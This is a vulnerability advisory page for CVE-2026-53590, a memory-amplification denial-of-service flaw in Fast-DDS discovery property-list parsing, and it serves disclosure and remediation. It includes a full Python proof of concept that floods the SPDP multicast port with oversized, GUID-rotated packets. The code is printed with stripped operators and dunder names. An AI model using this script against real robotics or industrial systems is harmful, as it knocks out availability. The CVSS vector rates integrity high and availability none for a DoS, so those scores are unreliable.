CVE-2026-53590
NVD
Vulnerability Summary
Summary Fast-DDS accepts attacker-controlled `PID_PROPERTY_LIST` data while parsing remote participant discovery data in `ParticipantProxyData::read_from_cdr_message()`. Under the default participant allocation configuration, `max_properties = 0`, which disables effective size limiting for the accumulated property list. As a result, a remote attacker who can reach the SPDP discovery path can send SPDP `DATA(p)` messages containing oversized property lists and force the target to allocate and retain additional memory for each discovered remote participant. This creates a practical remote denial-of-service amplification vector, especially when combined with repeated unique GUID injection. Details Vulnerability Location - File: [`src/cpp/rtps/builtin/data/ParticipantProxyData.cpp`] - Function: `ParticipantProxyData::read_from_cdr_message()` - Relevant branch: ```cpp case fastdds::dds::PID_PROPERTY_LIST: { if (!fastdds::dds::ParameterSerializer<ParameterPropertyList_t>::read_from_cdr_message( properties, msg, plength)) { return false; } break; } ``` Root Cause Analysis 1. Property parsing is attacker-driven `ParameterSerializer<ParameterPropertyList_t>::read_content_from_cdr_message()` reads an attacker-controlled `num_properties` field and iterates over all entries in the incoming payload. 2. Default configuration disables the effective limit `ParticipantBuiltinTopicData` constructs `properties` from `allocation.data_limits.max_properties`: ```cpp properties(static_cast<uint32_t>(allocation.data_limits.max_properties)) ``` The default value of `max_properties` is `0`. In `ParameterPropertyList_t(uint32_t size)`, `size == 0` sets `limit_size_ = false`, which means `push_back()` is allowed to reserve and append data dynamically instead of rejecting it. 3. Memory is retained per discovered participant Parsed properties are stored inside `ParticipantProxyData`. When attackers also vary the participant GUID, the target accumulates multiple remote participant records, each carrying its own property list. Code References - `ParticipantProxyData::read_from_cdr_message()` property branch: - [`ParticipantProxyData.cpp:828`] - `ParticipantBuiltinTopicData` constructor: - [`ParticipantBuiltinTopicData.cpp:31`] - Default participant allocation values: - [`RTPSParticipantAllocationAttributes.hpp:116`] - Property-list parser behavior: - [`ParameterSerializer.hpp:792`] - [`ParameterSerializer.hpp:797`] - [`ParameterSerializer.hpp:811`] - [`ParameterSerializer.hpp:819`] - [`ParameterSerializer.hpp:864`] - Property-list limit semantics: - [`ParameterTypes.hpp:1457`] - [`ParameterTypes.hpp:1584`] --- Trigger Conditions - The target processes remote SPDP `DATA(p)` traffic. - The attacker can reach the SPDP discovery address (default multicast `239.255.0.1:7400` or equivalent reachable path). - The target keeps discovered remote participant state long enough for memory amplification to matter. This issue does not require DDS Security to be enabled in order for property parsing itself to occur. However, DDS Security can increase the retained per-participant state and compound memory pressure. --- PoC PoC File - [`poc_vuln_property_dos.py`] ```python !/usr/bin/env python3 from future import annotations import argparse import re import socket import struct import subprocess import sys import time from dataclasses import dataclass from pathlib import Path TARGET = ("239.255.0.1", 7400) DEFAULT_TEMPLATE = "/root/spdp_payload.bin" DEFAULT_PATTERN = r"\./security_demo subscriber" Offsets derived from the captured secure SPDP payload used in local validation. DATA_SUBMSG_LENGTH_OFFSET = 34 PROPERTY_PARAM_OFFSET = 316 PROPERTY_PARAM_TOTAL_SIZE = 208 # header(4) + payload(204) @dataclass class ScenarioResult: pid: int baseline_kb: int final_kb: int delta_kb: int sent: int elapsed_s: float class PayloadTemplate: def init(self, path: str) -> None: self.raw = bytearray(Path(path).read_bytes()) self.original_guid_prefix = bytes(self.raw[8:20]) self.guid_positions = self._find_guid_positions() self.data_submsg_length = struct.unpack_from("<H", self.raw, DATA_SUBMSG_LENGTH_OFFSET)[0] self.head = bytes(self.raw[:PROPERTY_PARAM_OFFSET]) self.tail = bytes(self.raw[PROPERTY_PARAM_OFFSET + PROPERTY_PARAM_TOTAL_SIZE:]) def _find_guid_positions(self) -> list[int]: positions = [] cursor = 0 while True: pos = self.raw.find(self.original_guid_prefix, cursor) if pos < 0: break positions.append(pos) cursor = pos + 1 if not positions: raise RuntimeError("failed to find GUID prefix occurrences in template") return positions def mutate_guid(self, payload: bytes, unique_id: int) -> bytes: packet = bytearray(payload) new_prefix = bytearray(self.original_guid_prefix) new_prefix[-4:] = struct.pack(">I", unique_id & 0xFFFFFFFF) replacement = bytes(new_prefix) for pos in self.guid_positions: packet[pos:pos + 12] = replacement return bytes(packet) def build_property(self, unique_id: int, property_count: int, value_size: int) -> bytes: prop_param = build_property_param(property_count, value_size) packet = bytearray(self.head + prop_param + self.tail) new_len = self.data_submsg_length + (len(prop_param) - PROPERTY_PARAM_TOTAL_SIZE) struct.pack_into("<H", packet, DATA_SUBMSG_LENGTH_OFFSET, new_len) return self.mutate_guid(packet, unique_id) def pad4(data: bytes) -> bytes: return data + (b"\x00" ((4 - (len(data) % 4)) % 4)) def build_property_param(count: int, value_size: int) -> bytes: body = bytearray(struct.pack("<I", count)) for i in range(count): key = f"k{i:05d}".encode() + b"\x00" value = (b"V" value_size) + b"\x00" body += struct.pack("<I", len(key)) + pad4(key) body += struct.pack("<I", len(value)) + pad4(value) return struct.pack("<HH", 0x0059, len(body)) + body def resolve_pid(explicit_pid: int | None, pattern: str) -> int: if explicit_pid is not None: return explicit_pid output = subprocess.run( ["pgrep", "-f", pattern], text=True, capture_output=True, check=False, ).stdout.strip() if not output: raise RuntimeError(f"could not resolve victim PID with pattern: {pattern}") return int(output.splitlines()[0].strip()) def restart_victim() -> int: subprocess.run('pkill -f "./security_demo subscriber"', shell=True, executable="/bin/sh") time.sleep(1) subprocess.run( "cd /root/security_example && " "export CERTS_PATH=/root/security_example/certs && " "export FASTDDS_DEFAULT_PROFILES_FILE=/root/security_example/secure_subscriber_profile.xml && " "export LD_LIBRARY_PATH=/usr/local/eprosima/fastdds/lib:/usr/local/eprosima/fastcdr/lib:$LD_LIBRARY_PATH && " "nohup ./security_demo subscriber >/root/security_subscriber.log 2>&1 &", shell=True, executable="/bin/sh", ) time.sleep(2) return resolve_pid(None, DEFAULT_PATTERN) def rss_kb(pid: int) -> int: status = Path(f"/proc/{pid}/status").read_text(encoding="utf-8", errors="replace") match = re.search(r"^VmRSS:\s+(\d+)\s+kB$", status, flags=re.MULTILINE) if not match: raise RuntimeError(f"failed reading VmRSS for pid {pid}") return int(match.group(1)) def format_kb_as_mib(value_kb: int) -> str: return f"{value_kb} kB ({value_kb / 1024:.2f} MiB)" def format_delta_kb(delta_kb: int) -> str: return f"{delta_kb} kB ({delta_kb / 1024:+.2f} MiB)" def send_packets( builder, guid_start: int, count: int, multicast_ttl: int, pps: float, progress_every: int, ) -> tuple[int, float]: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, multicast_ttl) interval = 1.0 / pps if pps > 0 else 0.0 next_send = time.perf_counter() started = time.perf_counter() try: for i in range(count): sock.sendto(builder(guid_start + i), TARGET) if progress_every > 0 and ((i + 1) % progress_every == 0 or i + 1 == count): elapsed = time.perf_counter() - started rate = (i + 1) / elapsed if elapsed > 0 else 0.0 print(f"[] sent {i + 1}/{count} packets ({rate:.1f} pkt/s avg)") if interval > 0: next_send += interval delay = next_send - time.perf_counter() if delay > 0: time.sleep(delay) finally: sock.close() elapsed = time.perf_counter() - started return count, elapsed def run_scenario(args: argparse.Namespace, template: PayloadTemplate) -> ScenarioResult: pid = restart_victim() if args.restart_victim else resolve_pid(args.pid, args.pattern) baseline = rss_kb(pid) builder = lambda guid: template.build_property(guid, args.property_count, args.property_value_size) print("[] scenario : property") print(f"[] victim pid : {pid}") print(f"[] baseline rss : {format_kb_as_mib(baseline)}") print(f"[] packets : {args.count}") print(f"[] guid start : {args.guid_start}") if args.pps > 0: print(f"[] rate limit : {args.pps:.1f} pkt/s") else: print("[] rate limit : unlimited") print(f"[] property count : {args.property_count}") print(f"[] value size : {args.property_value_size}") sample_len = len(template.build_property(args.guid_start, args.property_count, args.property_value_size)) print(f"[*] packet size : {sample_len} bytes") sent, elapsed = send_packets( builder, args.guid_start, args.count, args.multicast_ttl, args.pps, args.progress_every, ) time.sleep(args.settle_seconds) final = rss_kb(pid) delta = final - baseline print(f"[+] final rss : {format_kb_as_mib(final)}") print(f"[+] delta : {format_delta_kb(delta)}") return ScenarioResult( pid=pid, baseline_kb=baseline, final_kb=final, delta_kb=delta, sent=sent, elapsed_s=elapsed, ) def parse_args(argv: list[str]) -> argparse.Namespace: parser = argparse.ArgumentParser( description="Validate Fast DDS property-list amplification inside the victim container" ) parser.add_argument("--template", default=DEFAULT_TEMPLATE) parser.add_argument("--count", type=int, default=20, help="number of packets to send") parser.add_argument("--guid-start", type=int, default=1000000) parser.add_argument("--property-count", type=int, default=1500) parser.add_argument("--property-value-size", type=int, default=16) parser.add_argument("--multicast-ttl", type=int, default=1) parser.add_argument("--pps", type=float, default=0.0, help="0 means unlimited") parser.add_argument("--progress-every", type=int, default=10) parser.add_argument("--settle-seconds", type=float, default=3.0) parser.add_argument("--restart-victim", action="store_true", default=True) parser.add_argument("--no-restart-victim", dest="restart_victim", action="store_false") parser.add_argument("--pid", type=int) parser.add_argument("--pattern", default=DEFAULT_PATTERN) return parser.parse_args(argv) def main(argv: list[str]) -> int: try: args = parse_args(argv) template = PayloadTemplate(args.template) run_scenario(args, template) return 0 except Exception as exc: print(f"[!] error: {exc}", file=sys.stderr) return 1 if name == "main": raise SystemExit(main(sys.argv[1:])) ``` Execution Run inside the prepared test container: ```bash python3 /root/poc_vuln_property_dos.py --count 20 --guid-start 1000000 ``` Validation Outcome Observed in the test environment: - Property-focused SPDP packets increased RSS in the victim process. - Repeated packets with unique GUIDs caused additional retained memory growth. --- Impact Vulnerability Type - CWE-770: Allocation of Resources Without Limits or Throttling - Remote memory amplification leading to Denial-of-Service Affected Parties - Fast-DDS deployments that accept remote SPDP traffic - ROS 2 systems using Fast-DDS discovery - Industrial, robotics, and embedded deployments where availability matters and discovery traffic is reachable
CVSS v3.1 Base Metrics — Score 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:NAttack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityNone
IntegrityHigh
AvailabilityNone
Affected & Patched Versions
- Fast-DDS <= 3.6.2
- Fast-DDS 2.6.12, 2.14.7, 3.2.5, 3.6.3
What to do
Plan remediation soon. No exploitation is confirmed yet, but the severity is high.
- Check whether you run Fast-DDS and which version.
- Update to a patched version listed above, then confirm the new version.
Timeline
- Nov 30, 2026Published
- Nov 30, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new Fast-DDS CVEsYou are reading CVE-2026-53590. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Dec 3, 2026 02:01 UTC